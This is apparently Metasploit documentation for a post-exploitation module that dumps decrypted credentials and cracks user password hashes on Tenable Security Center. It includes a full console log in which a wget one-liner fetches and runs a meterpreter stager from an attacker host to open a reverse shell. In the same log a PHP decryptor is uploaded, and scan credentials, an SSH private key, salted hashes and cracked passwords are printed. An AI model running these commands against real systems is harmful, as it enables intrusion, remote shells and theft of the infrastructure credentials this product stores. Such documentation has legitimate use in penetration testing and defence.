Vulnerable Application
This module collects credentials and setup information from Tenable Security Center. root or TNS user permissions are required. We don't utilize SC's builtin backup functionality as that requires SC to be shut down. The module works in 2 phases:
Phase 1: gather all passwords which can be decrypted. These are non-user ones such as credentials used for scans, creds for the Nessus servers, SMTP, etc.
Phase 2: handle hashed passwords processing. SC uses SHA-512 and PBKDF2 according to the documentation, but the implementation (salt+hash vs hash+salt) is unknown due to the source code being protected by SourceGuardian. To get around this, we use a php script on server to brute force the passwords. Note this will use SC's resources. The crack attempt rate is ~6/sec on a test instance, so you'll want a small password list.
Tested against SC 6.7.2 on RHEL9
Verification Steps
Install and register Security Center
Start msfconsole
Get a shell with either root or tns permissions
Do: use post/linux/gather/tenable_security_center
Do: set session #
Optionally: set wordlist /path
Do: run
You should get information back about the install.
Options
WORDLIST
The path to an optional wordlist
Scenarios
SC 6.7.2 on RHEL9
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO kWgJtZ4Q --no-check-certificate http://1.1.1.1:8082/l; chmod +x kWgJtZ4Q; ./kWgJtZ4Q& disown
msf exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:52304) at 2026-03-16 08:55:39 -0400
msf exploit(multi/script/web_delivery) > use post/linux/gather/tenable_security_center
msf post(linux/gather/tenable_security_center) > set session 1
session => 1
msf post(linux/gather/tenable_security_center) > set wordlist /tmp/wordlist
wordlist => /tmp/wordlist
msf post(linux/gather/tenable_security_center) > run
[+] Security Center Version: 6.7.2
[*] Uploading database cred decryptor to /tmp/r6hGtD2Mah
[*] Running cred dumper: su - tns -s /bin/bash -c '/opt/sc/support/bin/php /tmp/r6hGtD2Mah -json'
[+] Decrypted Security Center credentials stored to: /root/.msf4/loot/20260316085739_default_2.2.2.2_tenable.security_848370.json
Source Table Username Decrypted Password Other Fields
------ ----- -------- ------------------ ------------
/opt/sc/orgs/2/organization.db SNMPCredential private
application.db AppDatabaseCredential passymcpassword SQL Server
application.db AppMongoDBCredential some_username some_password
application.db AppSSHCredential example -----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA SSH Key Passphrase: key_passphrase
AAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCY21CiSuyqAfGiGE1eIqIR7fclhhkO+cw979kOnRu06wA
AAJhpJ3EJaCdxCQAAAAtzc2gtZWQyNTUxOQAAACCY24CiSuyqAfGiGE1eIpIR7fclhhkO+cw979kOnRu0
6wAAAEBzvHy5P0637mCOebuHHgLiB/Ut8kcYgzLH0Syap8jjeJjbUKJK7KoB8aIYTV4iohHt9yWGGQ75z
D3v2Q6dG7TrAAAAEmgwMGRpZUBoMDBkaWUta2FsaQECAw==-----END OPENSSH PRIVATE KEY-----
application.db AppSSHCredential sudo_username sudo_password Escalation method: sudo
application.db AppSSHCredential username password_for_ssh
application.db AppVMwarevCenterCredential username password222
application.db AppWindowsCredential asdf asdf
application.db Scanner nessus_server nessus_password Scanner Type: Nessus Professional
application.db Configuration smtp_username smtp_password
[*] Uploading database cred dumper to /tmp/fl0QmCpEF
[*] Running cred dumper: su - tns -s /bin/bash -c '/opt/sc/support/bin/php /tmp/fl0QmCpEF -json'
[+] Decrypted Security Center credentials stored to: /root/.msf4/loot/20260316085741_default_2.2.2.2_tenable.security_043135.json
ID User ID Name Access Key Salt:Hash
-- ------- ---- ---------- ---------
1 3 Default 83d9c8523f584e319859b729b703f9c1 lUAXtSEcCut4kpftsJBfy2b49rEJyUOZaP00Tx51uMeMJvYT6DCn15esxsHsM06KXB4I0+rJLCSMD37XrLQ6BQ==:62d672a940845ae06f844fdccee68111325b83c4df61c9a
af283539667ec85fe82810d7025781d268808e416135dae6db5657b033c894959fb3079da23389bb6
UserID Org Username Salt:Hash
------ --- -------- ---------
1 0 admin UqH7knFagk9yS6XKeXZqVXxRSZU2BTMLEbb3iKl6qaxuLnYsgCLA4YvF2DSFbea01GldYI0bZMK3R+Zxd5t28A==:d9b9a8213a87189bef99ada7c07ccab7ec091832d621fb9a205993b32a1398a06
989cf4ead2b5729d61ec6c412f0d5c55ee8f9a4b4fd13b066cf51c5c8393616
2 1 Admin Cd6f7rouTCQVJKEaClhUe8iMjxq23UDmoapTqmcUU6C0i7LK0bv3cH7oNUz/yMCZUHPYiE3+zwzYibHsGnTywg==:e2fec651229ddaad008f13512b4edfe864b5836ba68168ebb3964786940fddceb
52192d5176a2c568dde02984be7fb33dc997883e1958279c4f0d3b6642cd787
3 0 aaaaa jS6T37YpKOnJLXuyigY8PerRH+98h08GmtqkwClQ3abRjwtuO9FFOcDNMZ4be2QXNTbKJFReVmCGO5Y1ppFSTg==:5318482893d13f65c9b7233c081637f2e270e92e224ea7cba2ed5e47ae8e9fw89
58c8a8aa68a4a10f94db9ec77cfc3cb0f254367b7f6dc3526c70025ac4c8a0d
4 2 test 5/zuBrEPsFfwqVC45y702XiQ7vlnKCkIBxIq5gyCakWB7Is297wOBtiLmPkcNAdQRMO06xbKxNk4OJFWqPCriEQ==:e0351f1c9e177f3a14778b196e0443c8ab098f3ca643998f34600a6273a856eca
8868dd12f763b619739b9fd30d4be016b4363ba54104a240b53b021660fcbc8
5 2 my_password_is_password EHT4bqXB4vrIDCFznxzGsI/6ZlCbl8B809mQenkV2D+IzDaGyXKbHwCGTDTelpZN6JXaGEMU9BkP2+T3wNTY5g==:843837907bg2ad388302a1372e0f247c9e3a3d9d89ec282588f4f79f60b07fae8
a4e5d30894cd60fefane010b8f56b1de61c8854109ef16be0d3f391913c79da
[!] Estimated brute force time: 0.6 minutes (6 users x 36 words @ 6/sec)
[!] Waiting 5 seconds for user interuption if this is too long a time.
[*] Uploading wordlist to: /tmp/zGMwsI1Zix
ID User Password Admin
-- ---- -------- -----
4 test test false
5 my_password_is_password password false
[*] Post module execution completed
